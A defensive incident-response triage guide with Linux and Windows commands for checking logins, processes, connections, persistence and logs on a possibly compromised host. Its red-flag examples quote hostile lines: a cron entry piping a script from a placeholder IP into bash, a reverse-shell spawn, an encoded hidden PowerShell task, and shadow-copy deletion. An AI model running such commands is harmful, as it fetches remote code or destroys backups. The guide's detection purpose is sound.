You get a ticket: “unusual outbound traffic from server01.” Or you notice the fan is screaming on a machine that should be idle. Or an EDR alert fires at 2 AM. What you do in the next 10 minutes determines how much of the story you can still recover — and how far the attacker gets while you’re figuring it out.

TL;DR

  • The average attacker dwell time is 11 days — but the damage in a targeted attack often happens within the first few hours
  • Your goal in the first 10 minutes is triage, not containment: understand what you’re dealing with before you act
  • Running wrong commands (like pulling the network cable) can destroy volatile evidence and tip off the attacker
  • This guide walks through Linux and Windows triage with copy-paste commands and explains what each finding means
  • Red flags section at the end tells you what confirms a real compromise vs. a false positive

Why the First 10 Minutes Matter

Attackers are fast once they’re in. Lateral movement, credential dumping, and staging for ransomware can all happen within an hour of initial access. Every minute you spend confused is a minute they spend moving.

But rushing is also dangerous. The three most common mistakes in the first 10 minutes:

  1. Pulling the network cable — kills volatile evidence (active connections, memory-resident malware, in-flight data)
  2. Rebooting the machine — destroys RAM, clears running processes, and may trigger wiper malware
  3. Running too many disk-intensive commands — overwrites filesystem metadata you need for forensics

The goal of triage is to answer three questions:

  • Is this machine actually compromised, or is this a false positive?
  • What is the attacker doing right now?
  • How far have they spread?

You’re collecting signal, not fixing the problem yet.


Linux Triage

Run these commands as root. Use sudo -i or sudo su - if you’re not already root. Work top-to-bottom — later commands build context from earlier ones.

1. Who is currently logged in?

Terminal window
w
last -n 20
lastb -n 20 # failed login attempts

What to look for:

  • w shows currently active sessions including source IP addresses. A session from an unusual IP or at an odd time is an immediate red flag.
  • last shows recent successful logins with timestamps and source IPs.
  • lastb shows failed attempts — brute force leaves a trail here.

Red flag example: w shows an SSH session from 185.220.101.x (a Tor exit node) at 03:14 AM when no maintenance was scheduled.


2. What processes are running?

Terminal window
ps auxf
ps -eo pid,ppid,user,stat,start,time,cmd --sort=start | tail -30

What to look for:

  • ps auxf shows the full process tree with parent-child relationships. Malware often spawns from unusual parents (e.g., a web server spawning /bin/bash).
  • The second command shows recently started processes sorted by start time — useful if you’re looking for something that appeared in the last hour.

Red flag example: apache2 with a child process of python3 -c "import socket..." — a web shell just spawned a reverse shell.


3. What network connections are active?

Terminal window
ss -tulpn
ss -tnp state established
netstat -tnp 2>/dev/null || ss -tnp # fallback if netstat missing

What to look for:

  • ss -tulpn shows all listening ports with the process name. Any unexpected listening service is suspicious.
  • ss -tnp state established shows active outbound/inbound connections. Look for connections to unusual IPs or ports (4444, 1337, 31337, 8080 from non-web processes).

Red flag example: ssh (pid=1337) listening on port 2222, or a process you don’t recognize making connections to an IP in Eastern Europe on port 443 with constant keep-alive traffic.


4. What’s scheduled to run?

Terminal window
crontab -l
crontab -l -u root
for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done
cat /etc/cron* /etc/cron.*/* 2>/dev/null
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

What to look for:

  • Persistence through cron is one of the most common techniques on Linux. Look for base64-encoded commands, curl/wget piped to bash, or references to files in /tmp, /dev/shm, or /var/tmp.

Red flag example:

*/5 * * * * root curl -s http://185.x.x.x/update.sh | bash

This re-downloads and executes a script every 5 minutes — a classic dropper with auto-update.


5. What persistence mechanisms exist?

Terminal window
# Systemd services (common persistence method)
systemctl list-units --type=service --state=running
systemctl list-units --type=service --all | grep -v "vendor preset"
find /etc/systemd/system/ /lib/systemd/system/ -name "*.service" -newer /etc/passwd
# Startup scripts
ls -la /etc/init.d/ /etc/rc.local /etc/rc*.d/
cat /etc/rc.local 2>/dev/null
# SSH authorized keys for all users
find /home /root -name "authorized_keys" 2>/dev/null -exec echo "=== {} ===" \; -exec cat {} \;

What to look for:

  • A systemd service with a random-looking name (systemd-networkd-helper.service) that wasn’t there before.
  • SSH authorized_keys containing a key you don’t recognize — instant persistent access for the attacker.
  • /etc/rc.local calling a script from /tmp or /var/tmp.

6. What files were recently modified?

Terminal window
# Files modified in the last 24 hours (not in /proc, /sys, /dev)
find / -not \( -path /proc -prune \) -not \( -path /sys -prune \) \
-not \( -path /dev -prune \) -newer /tmp \
-type f -ls 2>/dev/null | sort -k8,9 | tail -50
# SUID/SGID binaries (attackers may plant these for privesc)
find / -not \( -path /proc -prune \) -not \( -path /sys -prune \) \
-perm /6000 -type f -ls 2>/dev/null
# World-writable files in unusual places
find /bin /sbin /usr/bin /usr/sbin /lib /lib64 -perm -o+w -type f 2>/dev/null

What to look for:

  • New or modified binaries in /usr/bin, /usr/local/bin, or system library paths — attackers often replace legitimate binaries (e.g., ssh, netstat) with trojanized versions.
  • A new SUID binary you don’t recognize.

7. What do the logs say?

Terminal window
# Authentication events
grep -E "Failed|Accepted|Invalid|session opened" /var/log/auth.log 2>/dev/null | tail -50
journalctl -u sshd --since "1 hour ago" 2>/dev/null
# Sudo usage
grep "sudo" /var/log/auth.log 2>/dev/null | tail -20
# Web server logs (if applicable)
tail -100 /var/log/apache2/access.log 2>/dev/null
tail -100 /var/log/nginx/access.log 2>/dev/null
# System messages
journalctl --since "2 hours ago" -p err..emerg 2>/dev/null

What to look for:

  • Successful SSH login from an unexpected IP, especially followed immediately by sudo usage.
  • Web server logs with requests to /wp-admin, /.env, /etc/passwd, or paths containing ../ (directory traversal).
  • Authentication from an account that doesn’t normally log in interactively (service accounts, backup users).

Windows Triage

Run these commands in an elevated PowerShell session (Run as Administrator). They are designed to be copy-paste ready and minimally destructive to volatile evidence.

1. Who is currently logged in?

Terminal window
# Current sessions
query session
query user
# Recent logon events (Event ID 4624 = successful logon)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 20 |
Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}},
@{N='LogonType';E={$_.Properties[8].Value}},
@{N='SourceIP';E={$_.Properties[18].Value}} |
Format-Table -AutoSize

Logon types to know:

  • Type 2 = interactive (keyboard login)
  • Type 3 = network (SMB, mapped drives)
  • Type 10 = remote interactive (RDP)
  • Type 5 = service

Red flag: Type 10 (RDP) logon from an external IP, or a type 3 logon from a machine that shouldn’t be talking to this server.


2. What processes are running?

Terminal window
# All processes with parent process info
Get-Process | Select-Object Id, ProcessName, CPU, StartTime,
@{N='ParentPID';E={(Get-WmiObject Win32_Process -Filter "ProcessId='$($_.Id)'").ParentProcessId}} |
Sort-Object StartTime -Descending | Format-Table -AutoSize
# Processes with full executable path
Get-WmiObject Win32_Process | Select-Object ProcessId, Name,
ExecutablePath, CommandLine, ParentProcessId |
Sort-Object ProcessId | Format-Table -AutoSize

What to look for:

  • Processes running from unusual paths: C:\Users\Public\, C:\ProgramData\, %TEMP%, or deeply nested paths in user profile directories.
  • powershell.exe or cmd.exe spawned by svchost.exe, wmiprvse.exe, or mshta.exe — these are common malware execution chains.
  • Processes with no ExecutablePath — may indicate process hollowing (a legitimate process name with malicious code injected inside).

3. What network connections are active?

Terminal window
# Active connections with process names
netstat -bnao | Select-String -Pattern "ESTABLISHED|LISTENING"
# More readable version via PowerShell
Get-NetTCPConnection -State Established |
Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort,
@{N='Process';E={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name}},
OwningProcess |
Sort-Object RemoteAddress | Format-Table -AutoSize
# Listening services
Get-NetTCPConnection -State Listen |
Select-Object LocalPort,
@{N='Process';E={(Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue).Name}} |
Sort-Object LocalPort | Format-Table -AutoSize

What to look for:

  • powershell.exe or cmd.exe making outbound TCP connections — shells don’t need network access.
  • Connections to known C2 infrastructure (check IPs against threat intel).
  • Unusual listening ports not associated with known services.

4. What’s scheduled to run?

Terminal window
# All scheduled tasks with actions
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
Select-Object TaskName, TaskPath, State,
@{N='Action';E={($_.Actions | Select-Object -ExpandProperty Execute) -join "; "}} |
Format-Table -AutoSize
# Tasks created in the last 48 hours
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698} -MaxEvents 20 |
Select-Object TimeCreated, Message | Format-List
# Services — especially newly installed ones
Get-Service | Where-Object {$_.Status -eq "Running"} |
Select-Object Name, DisplayName, Status | Sort-Object Name
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} -MaxEvents 20 |
Select-Object TimeCreated, Message | Format-List

Event IDs to know:

  • 4698 = scheduled task created
  • 7045 = new service installed

Red flag: A task named WindowsUpdateHelper running powershell.exe -WindowStyle Hidden -EncodedCommand [base64 blob].


5. What persistence mechanisms exist?

Terminal window
# Registry run keys — classic persistence locations
$runKeys = @(
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
)
foreach ($key in $runKeys) {
Write-Host "`n=== $key ===" -ForegroundColor Cyan
Get-ItemProperty $key -ErrorAction SilentlyContinue
}
# Startup folders
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" 2>$null
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" 2>$null
# WMI event subscriptions (stealthy persistence)
Get-WMIObject -Namespace root\subscription -Class __EventFilter | Select-Object Name, Query
Get-WMIObject -Namespace root\subscription -Class __EventConsumer

What to look for:

  • Run key entries pointing to files in user directories, temp folders, or with base64-encoded PowerShell.
  • WMI event subscriptions are often overlooked — attackers use them specifically because many defenders don’t check them.

6. What do the logs say?

Terminal window
# Failed logons (4625) — brute force / credential stuffing
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 30 |
Select-Object TimeCreated,
@{N='Account';E={$_.Properties[5].Value}},
@{N='SourceIP';E={$_.Properties[19].Value}} |
Format-Table -AutoSize
# Privilege use — who used admin rights (4672)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4672} -MaxEvents 20 |
Select-Object TimeCreated, @{N='Account';E={$_.Properties[1].Value}} |
Format-Table -AutoSize
# PowerShell script block logging (if enabled)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} `
-MaxEvents 30 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message | Format-List
# Defender alerts
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Windows Defender/Operational'} `
-MaxEvents 20 -ErrorAction SilentlyContinue |
Where-Object {$_.LevelDisplayName -eq "Warning" -or $_.LevelDisplayName -eq "Error"} |
Select-Object TimeCreated, Message | Format-List

Key Event IDs:

IDMeaning
4624Successful logon
4625Failed logon
4672Special privileges assigned (admin logon)
4698Scheduled task created
4720User account created
4732User added to privileged group
7045New service installed

Red Flags: Real Compromise vs. False Positive

Not every alert is a breach. Here’s how to tell the difference.

High-confidence indicators of compromise

These findings are almost always malicious:

  • Base64-encoded PowerShell commands in scheduled tasks, run keys, or process command lines
  • Outbound connections from non-network processes (Word, Excel, notepad spawning network activity)
  • Shell spawned by a web server (Apache/Nginx/IIS → bash/cmd) — indicates web shell execution
  • SSH authorized_keys for root containing a key not in your asset inventory
  • New SUID binary in /usr/bin or /usr/local/bin you can’t account for
  • Process running from /tmp, /dev/shm, or C:\Users\Public
  • Deleted binary still running — on Linux, ls -la /proc/[PID]/exe shows (deleted) when the file has been removed post-execution (common malware behavior)
  • Accounts created outside change windows (Event ID 4720)
  • WMI event subscriptions you didn’t create

Medium-confidence — investigate further

These need context before you conclude:

  • Unusual listening port — could be a new service, could be a backdoor. Cross-reference with change management.
  • Outbound connection to uncommon country — could be a CDN, could be C2. Check the IP.
  • Cron job using curl/wget — could be legitimate update scripts. Check the destination URL and compare with your documentation.
  • Multiple failed logins followed by a success — could be a forgotten password, could be brute force.

Likely false positives

  • Antivirus scanning triggering high CPU
  • Monitoring agents (Zabbix, Nagios, Datadog) making network connections
  • Backup software running at night
  • Legitimate admin tools flagged by behavioral detection

The key question to ask for any finding: “Can I explain this with a legitimate, documented reason?” If yes, document it and move on. If no, treat it as real.


Next Steps: When to Escalate to Full IR

Rapid triage gives you a picture. These findings mean it’s time to move from “checking” to “responding”:

Escalate immediately if you find:

  • Active attacker session (live connection, interactive commands running)
  • Evidence of lateral movement (connections to other internal hosts, PsExec artifacts, WMI remote execution)
  • Data staging or exfiltration in progress (large file archives in temp dirs, outbound transfers)
  • Ransomware indicators (file rename activity, volume shadow copy deletion: vssadmin delete shadows)
  • Domain controller compromise (DCSync artifacts, new domain admin accounts)
  • Presence on multiple hosts simultaneously

What “escalating” means in practice:

  1. Isolate the host — but keep it running (for memory forensics). Use network-level isolation (firewall rule, VLAN change, EDR isolation) rather than pulling cables.
  2. Preserve volatile evidence — memory dump before anything else: winpmem on Windows, avml or LiME on Linux.
  3. Lock the attacker out — rotate credentials for any accounts seen in the triage, especially if they have admin rights.
  4. Open a formal IR ticket — everything from this point needs documented timestamps and chain of custody.
  5. Don’t clean yet — premature remediation destroys forensic evidence. Understand the full scope first.

For a complete DFIR methodology including memory forensics, disk imaging, and post-incident reporting, see the full DFIR guide.


Quick Reference Card

Save this. Run these first when you suspect compromise.

Linux (run as root):

Terminal window
w; last -n 20; lastb -n 10 # Who's been here?
ps auxf # What's running?
ss -tulpn; ss -tnp state established # What's talking on the network?
for u in $(cut -d: -f1 /etc/passwd); do crontab -u $u -l 2>/dev/null | grep -v "^#" | sed "s/^/$u: /"; done
find /home /root -name authorized_keys 2>/dev/null -exec cat {} \;
find / -not \( -path /proc -prune \) -not \( -path /sys -prune \) -perm /4000 -type f -ls 2>/dev/null
journalctl --since "2 hours ago" -p err..emerg
grep "Accepted\|Failed" /var/log/auth.log | tail -30

Windows (run as Administrator in PowerShell):

Terminal window
query session; query user
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 10 | Select TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='IP';E={$_.Properties[18].Value}} | ft
Get-Process | Sort-Object StartTime -Descending | Select -First 20 | ft Id,ProcessName,StartTime
Get-NetTCPConnection -State Established | Select LocalPort,RemoteAddress,RemotePort,@{N='Proc';E={(Get-Process -Id $_.OwningProcess -EA SilentlyContinue).Name}} | ft
Get-ScheduledTask | Where State -ne Disabled | Select TaskName,@{N='Action';E={$_.Actions.Execute}} | ft
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698,4720,7045} -MaxEvents 20 | ft TimeCreated,Message


Sources